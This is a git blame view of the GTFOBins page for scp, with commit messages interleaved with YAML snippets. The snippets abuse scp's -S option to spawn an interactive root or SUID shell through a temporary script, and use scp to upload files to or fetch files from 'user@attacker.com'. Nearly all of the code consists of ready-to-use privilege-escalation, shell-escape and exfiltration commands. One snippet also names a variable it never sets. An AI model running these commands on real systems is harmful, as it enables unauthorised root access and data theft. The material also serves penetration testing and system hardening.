public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-10-23 09:08:00 +02:00
Code Issues Projects Releases Wiki Activity
689e00461d
GTFOBins.github.io/_gtfobins/scp.md

34 lines
788 B
Markdown
Raw Normal View History

First commit
2018-05-21 21:14:41 +02:00
---
functions:
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
execute-interactive:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- code: |
TF=$(mktemp)
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
echo 'sh 0<&2 1>&2' > $TF
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
chmod +x "$TF"
scp -S $TF x y:
First commit
2018-05-21 21:14:41 +02:00
upload:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Send local file to a SSH server.
code: |
RPATH=user@attacker.com:~/file_to_save
LPATH=file_to_send
scp $LFILE $RPATH
First commit
2018-05-21 21:14:41 +02:00
download:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- description: Fetch a remote file from a SSH server.
code: |
RPATH=user@attacker.com:~/file_to_get
LFILE=file_to_save
scp $RPATH $LFILE
Reorder functions in binaries
2018-07-04 20:26:52 +02:00
sudo-enabled:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- code: |
TF=$(mktemp)
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
echo 'sh 0<&2 1>&2' > $TF
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
chmod +x "$TF"
sudo scp -S $TF x y:
Reorder functions in binaries
2018-07-04 20:26:52 +02:00
suid-limited:
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
- code: |
TF=$(mktemp)
Make interactive execute whenever possible Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
2018-09-07 01:00:01 +02:00
echo 'sh 0<&2 1>&2' > $TF
Fix YAMLs according to YAMLlint
2018-07-16 15:01:50 +02:00
chmod +x "$TF"
./scp -S $TF a b:
First commit
2018-05-21 21:14:41 +02:00
---
Reference in New Issue Copy Permalink